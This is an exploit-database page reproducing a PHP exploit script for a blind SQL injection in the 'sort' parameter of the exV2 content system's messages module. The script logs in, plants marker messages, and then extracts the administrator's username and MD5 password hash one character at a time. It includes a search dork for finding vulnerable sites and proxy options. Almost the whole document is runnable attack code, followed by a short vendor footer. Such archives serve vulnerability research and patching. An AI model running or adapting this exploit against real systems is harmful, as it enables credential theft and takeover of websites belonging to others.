Lucene search
K

exV2 <= 2.0.4.3 - (sort) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

exV2 2.0.4.3 - Remote SQL Injection Exploi

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
print_r(&#39;
-------------------------------------------------------------------------------
exV2 &#60;= 2.0.4.3 &#34;sort&#34; SQL injection / administrative credentials disclosure
exploit
mail: [email protected]
site: http://retrogod.altervista.org
dork: &#34;Powered by eXV2 Vers&#34;
-------------------------------------------------------------------------------
&#39;);
/*
this works regardless of php.ini settings
against Mysql &#62;= 4.1 (allowing subs)
and if &#39;messages&#39; module is enabled
*/
if ($argc&#60;4) {
print_r(&#39;
-----------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path user pass OPTIONS
host:      target server (ip/hostname)
path:      path to exv2
user/pass: valide user credentials
Options:
 -T[prefix:   specify a table prefix, other than default (exv2_)
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80
php &#39;.$argv[0].&#39; 1.1.1.1 / rgod test -p81
-----------------------------------------------------------------------------
&#39;);
die;
}

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$pass=$argv[4];
$prefix=&#34;exv2_&#34;;

$port=80;
$proxy=&#34;&#34;;
for ($i=5; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-T&#34;)
{
  $prefix=str_replace(&#34;-T&#34;,&#34;&#34;,$argv[$i]);
}
}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

//login
$data=&#34;uname=$uname&pass=$pass&op=login&#34;;
$packet =&#34;POST &#34;.$p.&#34;user.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{
  $temp2=explode(&#34; &#34;,$temp[$i]);
  $temp3=explode(&#34;\r&#34;,$temp2[0]);
  if (!strstr($temp3[0],&#34;;&#34;)){$temp3[0]=$temp3[0].&#34;;&#34;;}
  $cookie.=$temp3[0];
}
echo &#34;cookie -&#62;&#34;.$cookie.&#34;\n&#34;;

//retrieve your user id
$packet =&#34;GET &#34;.$p.&#34;edituser.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
$temp=explode(&#34;userinfo.php?uid=&#34;,$html);
$temp2=explode(&#34;&#39;&#34;,$temp[1]);
$uid=(int)$temp2[0];
echo &#34;uid -&#62; &#34;.$uid.&#34;\n&#34;;

//configure your message box, needed...
$data =&#34;msg_mail=0&#34;;
$data.=&#34;&msg_showdisc=0&#34;;
$data.=&#34;&msg_showsend=0&#34;;
$data.=&#34;&update=0&#34;;
$data.=&#34;&op=config_save&#34;;
$data.=&#34;&submit=Save&#34;;
$packet =&#34;POST &#34;.$p.&#34;modules/messages/conf.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

//send to yourself some messages...
for ($i=2; $i&#62;=1; $i--)
{
$data=&#39;-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;to_userid&#34;

&#39;.$uid.&#39;
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;subject&#34;

11111111111111111111111&#39;.$i.&#39;
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;message&#34;

11111111111111111111111
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;MAX_FILE_SIZE&#34;

256000
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;msg_attachment&#34;; filename=&#34;&#34;


-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;msg_attachment[max_file_size]&#34;

256000
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;msg_attachment[accepted]&#34;


-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;allow_html&#34;

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;allow_smileys&#34;

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;allow_bbcode&#34;

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name=&#34;submit&#34;

Envoyer
-----------------------------7d626f251b00fa--
&#39;;
$packet=&#34;POST &#34;.$p.&#34;modules/messages/pmlite.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cookie: $cookie\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(2);
}

//let&#39;s go...
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;
$my_password=&#34;&#34;;
while (!strstr($my_password,chr(0)))
{
for ($i=0; $i&#60;=255; $i++)
{
if (in_array($i,$md5s))
{
$sql=&#34;(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=&#34;.$i.&#34;),msg_time,subject))FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*&#34;;
echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
$sql=urlencode($sql);
$packet =&#34;GET &#34;.$p.&#34;modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (!strstr($html,&#34;111111111111111111111111&#34;)){$my_password.=chr($i);echo &#34;password -&#62; &#34;.$my_password.&#34;[???]\n&#34;;sleep(1);break;}
}
if ($i==255) {die(&#34;Exploit failed...&#34;);}
}
$j++;
}

$j=1;
$my_admin=&#34;&#34;;
while (!strstr($my_admin,chr(0)))
{
for ($i=0; $i&#60;=255; $i++)
{
$sql=&#34;(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=&#34;.$i.&#34;),msg_time,subject))FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*&#34;;
echo &#34;sql -&#62; &#34;.$sql.&#34;\r\n&#34;;
$sql=urlencode($sql);
$packet =&#34;GET &#34;.$p.&#34;modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (!strstr($html,&#34;111111111111111111111111&#34;)){$my_admin.=chr($i);echo &#34;admin -&#62; &#34;.$my_admin.&#34;[???]\n&#34;;sleep(1);break;}
if ($i==255) {die(&#34;Exploit failed...&#34;);}
}
$j++;
}
echo &#34;--------------------------------------------------------------------\n&#34;;
echo &#34;admin          -&#62; &#34;.$my_admin.&#34;\n&#34;;
echo &#34;password (md5) -&#62; &#34;.$my_password.&#34;\n&#34;;
echo &#34;--------------------------------------------------------------------\n&#34;;

function is_hash($hash)
{
 if (ereg(&#34;^[a-f0-9]{32}&#34;,trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($my_password)) {echo &#34;Exploit succeeded...&#34;;}
else {echo &#34;Exploit failed...&#34;;}
?&#62;

# milw0rm.com [2006-09-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation